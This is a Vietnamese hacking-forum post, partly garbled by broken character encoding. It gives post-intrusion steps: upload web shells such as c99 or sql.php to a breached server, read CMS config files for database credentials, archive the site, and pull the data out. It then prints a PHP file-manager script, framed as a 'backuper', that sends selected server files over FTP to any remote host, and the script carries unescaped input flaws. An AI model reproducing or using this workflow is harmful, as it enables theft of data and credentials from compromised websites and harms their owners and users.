Giả sử sever là safe_mode: off
Chúng ta xem nó có dis hàm zip ko, nếu ko thì làm như sau
Code:
tar cvfz tenfile.tar.gz [path]
Các trường hợp còn lại thì chúng ta cố gắng làm sao up đc con shell zip.php này lên.
H là đến phần lấy data. Đối với các mã nguồn như vbb, php, joomla, nuke...... Các bạn tự biết là file config của nó ở đâu nhé. Còn nếu là các cái khác ko bit là gì thì xem file index.php của nó, chú ý những thẻ include nhé!
Khi có đc user và path database, up con shell này lên cho đơn giản: sql.php
hoặc là dùng c99 cũng đc.
Sau đó là dump data về thui.
Code:
<?php
/** *****************************************
*
* LopTinBackuper hỗ trợ chuyển dữ liệu trực tiếp giữa 2 máy chủ, giúp sao lưu dữ liệu dễ dà ng và nhanh chóng hơn.
*
* ChÆ°Æ¡ng trình nà y là phần má»m tá»± do, bạn có thể cung cấp lại và /hoặc chỉnh sá»a nó theo những Ä‘iá»u khoản của Giấy phép Công cá»™ng của GNU do Tổ chức Phần má»m Tá»± do công bố; phiên bản 2 của Giấy phép, hoặc bất kỳ má»™t phiên bản sau đó (tuỳ sá»± lá»±a chá»n của bạn).
* ChÆ°Æ¡ng trình nà y được cung cấp vá»›i hy vá»ng nó sẽ hữu Ãch, tuy nhiên KHÔNG CÓ BẤT KỲ MỘT BẢO HÀNH NÀO; tháºm chà kể cả bảo hà nh vá» KHẢ NÄ‚NG THÆ¯Æ NG MẠI hoặc TÃNH THÃCH HỢP CHO MỘT MỤC ÄÃCH CỤ THỂ. Xin xem Giấy phép Công cá»™ng của GNU để biết thêm chi tiết.
* Bạn phải nháºn được má»™t bản sao của Giấy phép Công cá»™ng của GNU kèm theo chÆ°Æ¡ng trình nà y; nếu bạn chÆ°a nháºn, xin gá»i thÆ° vá» Tổ chức Phần má»m Tá»± do, 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
*
*
* LopTinBackuper that help evrery one to backup and restore their data fast and easy via ftp account.
*
* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
* You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*
* ## ###### ###### ######## ## ## ##
* ## ## ## ## ## ## ## ### ##
* ## ## ## ###### ## ## ## # ##
* ## ## ## ## ## ## ## ###
* ###### ###### ## ## ## ## ##
*
* HTTP://LOPTIN.NET
*
* @author Original Hua Phuoc Truong <admin@loptin.net>
* @copyright 2008
********************************************
*/
define('PHIENBAN',1.0);
session_start();
header('Content-type:text/html; charset=UTF-8');
set_time_limit(0);
//Kiểm tra phiên bản mới
$KetNoi=@file_get_contents('http://chuyentin.info/backuper/backuper.ver')."\n";
$PhienBan=substr($KetNoi,0,strpos($KetNoi,"\n"));
$CapNhat=substr($KetNoi,strpos($KetNoi,"\n"));
if ($PhienBan>PHIENBAN)
{
echo "<i>Äã có phiên bản má»›i $PhienBan thay cho phiên bản hiện tại ".PHIENBAN."<br />
Bạn có thể cáºp nháºt tại địa chỉ <a href=\"http://chuyentin.info/backuper/\">http://chuyentin.info/backuper</a><br /><br />
Thay đổi mới:<br /></i>
<div style=\"width:80%;border:inset;background:#DFDFDF\">$CapNhat</div>";
exit;
}
$ChuyenDi=new ChuyenDi;
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<style>
html
{
scrollbar-track-color: #EAEAEA;
scrollbar-face-color: #FFFFFF;
scrollbar-highlight-color: #F0F0F0;
scrollbar-darkshadow-Color: #F0F0F0;
scrollbar-3dlight-color:#F0F0F0;
}
body
{
font-family: Verdana, Tahoma, sans-serif;
font-size: 12px;
}
a
{
text-decoration: none;
}
p
{
margin: 2px;
}
td
{
background: #F1F1F1;
border: 1px outset;
}
td.On
{
border: 1px inset;
}
input
{
border: 1px dashed #7F9DB9;
}
.OK
{
border: 1px outset;
background: #F1F1F1;
}
</style>
<title>LopTin Backuper</title>
<body>
<?
switch($_GET['Mo']) //Mở một thư mục nà o đó
{
case 'ThuMuc': //Chuyển get thà nh POST để POST xỠlý
$_POST['Mo']='ThuMuc';
$_POST['ThuMuc']=$_GET['ThuMuc'];
break;
}
switch($_POST['Mo']) //Nháºn dạng yêu cầu
{
default: //Mở trang chủ
$_POST['ThuMuc']='.';
case 'ThuMuc': //Và o thư mục
//Lấy danh sách
$DanhSach=$ChuyenDi->DanhSach($_POST['ThuMuc']);
?>
<form method="post" action="<?=basename(__FILE__)?>" onsubmit="var KetQua='';var Tam=document.getElementsByName('LuaChon');for(i=0;i<Tam.length;i++){if(Tam[i].checked){KetQua+=Tam[i].value+';'}}this.TapTin.value=KetQua;if(!confirm('Xác nháºn chuyển')){return false}" target="_blank">
Chuyển đến: <input type="text" name="DenThuMuc" size="10" value="./" />
<input type="hidden" name="Mo" value="ChuyenDi" />
<input type="hidden" name="TapTin" />
<input type="hidden" name="TuThuMuc" value="<?=$_POST['ThuMuc']?>" />
Máy chủ: <input type="text" name="DiaChi" size="10" value="<?=$_SESSION['DiaChi']?>" />
Tên đăn nháºp: <input type="text" name="TenDangNhap" size="15" value="<?=$_SESSION['TenDangNhap']?>" />
Máºt khẩu: <input type="password" name="MatKhau" size="10" value="<?=$_SESSION['MatKhau']?>" />
<input class="OK" type="submit" value="Thá»±c thi" />
</form>
<div style="width:100%;height:100%;height:expression(document.documentElement.clientHeight-100);overflow:auto">
<table width="96%">
<?
//Liệt kê nhưng thư mục đầu tiên
foreach($DanhSach as $GiaTri)
{
if (is_dir($_POST['ThuMuc'].'/'.$GiaTri))
{
?>
<tr onmouseover="var Tam=this.childNodes;for(i=0;i<Tam.length;i++)Tam[i].className='On'" onmouseout="var Tam=this.childNodes;for(i=0;i<Tam.length;i++)Tam[i].className=''">
<td width="20px"><input type="checkbox" name="LuaChon" value="<?=$GiaTri?>" /></td>
<td width="40%"><a style="color:#B1942E" href="?Mo=ThuMuc&ThuMuc=<?=$_POST['ThuMuc'].'/'.$GiaTri?>">â–º<?=$GiaTri?></a></td>
<td width="10%" align="center" style="color:#B1942E">Thư mục</td>
<td align="right" width="10%">0</td>
<td width="10%">KB</td>
<td width="10%" align="center"><?=substr(sprintf('%o', fileperms($_POST['ThuMuc'].'/'.$GiaTri)), -4)?></td>
<td width="20%"><?=date('D d Y - H:i:s',filemtime($_POST['ThuMuc'].'/'.$GiaTri))?></td>
</tr>
<?
}
}
//Liệt kê những táºp tin khác
foreach($DanhSach as $GiaTri)
{
if (!is_dir($_POST['ThuMuc'].'/'.$GiaTri))
{
?>
<tr onmouseover="var Tam=this.childNodes;for(i=0;i<Tam.length;i++)Tam[i].className='On'" onmouseout="var Tam=this.childNodes;for(i=0;i<Tam.length;i++)Tam[i].className=''">
<td width="20px"><input type="checkbox" name="LuaChon" value="<?=$GiaTri?>"></td>
<td width="40%"><a style="color:#B1942E" target="_blank" href="<?=$_POST['ThuMuc'].'/'.$GiaTri?>"><?=$GiaTri?></a></td>
<td width="10%" align="center" style="color:#B1942E">Táºp tin</td>
<td align="right" width="10%"><?=round(filesize($_POST['ThuMuc'].'/'.$GiaTri)/1024,2)?></td>
<td width="10%">KB</td>
<td width="10%" align="center"><?=substr(sprintf('%o', fileperms($_POST['ThuMuc'].'/'.$GiaTri)), -4)?></td>
<td width="20%"><?=date('D d Y - H:i:s',filemtime($_POST['ThuMuc'].'/'.$GiaTri))?></td>
</tr>
<?
}
}
?>
</table>
</div>
<center>
<i>Copyright 2008 <a href="http://chuyentin.info/backuper">A5 IT Class</a> - GNU license</i><br />
Tải ChuyenTinBackuper mới nhất tại <a href="http://chuyentin.info/backuper">http://chuyentin.info/backuper</a>
</center>
</body>
</html>
<?
break;
case 'ChuyenDi': //Chuyển táºp tin hoặc thÆ° mục sang địa chỉ khác
$_SESSION['DiaChi']=$_POST['DiaChi'];
$_SESSION['TenDangNhap']=$_POST['TenDangNhap'];
$_SESSION['MatKhau']=$_POST['MatKhau'];
$ChuyenDi->Chuyen($_POST['DiaChi'],$_POST['TenDangNhap'],$_POST['MatKhau'],$_POST['TapTin'],$_POST['TuThuMuc'],$_POST['DenThuMuc']);
break;
}
/** Phần thá»±c thi chÃnh */
class ChuyenDi
{
function DanhSach($ThuMuc) //Lấy danh sách phần tỠcủa một thư mục trả vỠdang mảng
{
$ThuMuc=opendir($ThuMuc);
while($ThanhPhan=readdir($ThuMuc))
{
$KetQua[]=$ThanhPhan;
}
sort($KetQua);
return $KetQua;
}
//Chuyển tới địa chỉ mới và o thư mục $DenThuMuc
function Chuyen($DiaChi,$TenDangNhap,$MatKhau,$TapTin,$TuThuMuc,$DenThuMuc)
{
//Kết nối và kiểm tra đăng nháºp
$this->KetNoi=@ftp_connect($DiaChi);
if (!@ftp_login($this->KetNoi,$TenDangNhap,$MatKhau))
{
echo 'Không đăng nháºp được và o tà i khoản FTP!';
return false;
}
//Duyệt qua các thÆ° mục táºp tin
$TapTin=explode(';',$TapTin);
array_pop($TapTin);
foreach($TapTin as $GiaTri)
{
//Nếu là thư mục thì chuyển hết toà n bộ những gì trong thư mục đó
if (is_dir($TuThuMuc.'/'.stripslashes($GiaTri)))
{
echo '<br /><br />Tạo thư mục <b style="color:green">',$GiaTri,'</b>';
$this->_Chuyen($TuThuMuc.'/'.$GiaTri,$DenThuMuc.'/'.$GiaTri);
}
//Nếu là táºp tin thì chuyển thông thÆ°á»ng
else
{
echo '<br>Äang chuyển táºp tin <b>',stripslashes($GiaTri).'</b> - ';
ob_flush();
flush();
if (@ftp_fput($this->KetNoi,$DenThuMuc.'/'.stripslashes($GiaTri),fopen($TuThuMuc.'/'.stripslashes($GiaTri),'r'),FTP_BINARY))
{
echo '<b style="color:orange">Äã chuyển</b> ',stripslashes($GiaTri),' - ',filesize($TuThuMuc.'/'.stripslashes($GiaTri))==0 ? 100 : ftp_size($this->KetNoi,$DenThuMuc.'/'.stripslashes($GiaTri))/filesize($TuThuMuc.'/'.stripslashes($GiaTri))*100,'%';
}
else
{
echo '<b style="color:red">Không thể chuyển</b>';
}
}
echo '<script>document.body.scrollTop=document.body.scrollHeight</script>';
ob_flush();
flush();
}
}
function _Chuyen($ThuMuc,$ChuyenDen) //Chuyển đệ quy thư mục
{
//Tạo thư mục trên máy chủ mới
@ftp_mkdir($this->KetNoi,$ChuyenDen);
$DanhSach=$this->DanhSach($ThuMuc);
//Duyệt qua thư mục $ThuMuc
foreach($DanhSach as $GiaTri)
{
//Nếu gặp thư mục thì chuyển tiếp
if (is_dir($ThuMuc.'/'.$GiaTri) && $GiaTri!='..' && $GiaTri!='.')
{
echo '<br /><br />Tạo thư mục <b style="color:green">',$GiaTri,'</b>';
$this->_Chuyen($ThuMuc.'/'.$GiaTri,$ChuyenDen.'/'.$GiaTri);
}
//Chuyển táºp tin thông thÆ°á»ng
elseif ($GiaTri!='..' && $GiaTri!='.')
{
echo '<br>Äang chuyển táºp tin <b>',stripslashes($GiaTri).'</b> - ';
ob_flush();
flush();
if (@ftp_fput($this->KetNoi,$ChuyenDen.'/'.stripslashes($GiaTri),fopen($ThuMuc.'/'.stripslashes($GiaTri),'r'),FTP_BINARY))
{
echo '<b style="color:orange">Äã chuyển</b> ',stripslashes($GiaTri),' - ',filesize($ThuMuc.'/'.stripslashes($GiaTri))>0 ? ftp_size($this->KetNoi,$ChuyenDen.'/'.stripslashes($GiaTri))/filesize($ThuMuc.'/'.stripslashes($GiaTri))*100 : 100,'%';
}
else
{
echo '<b style="color:red">Không thể chuyển!</b>';
}
}
echo '<script>document.body.scrollTop=document.body.scrollHeight</script>';
ob_flush();
flush();
}
}
}
?>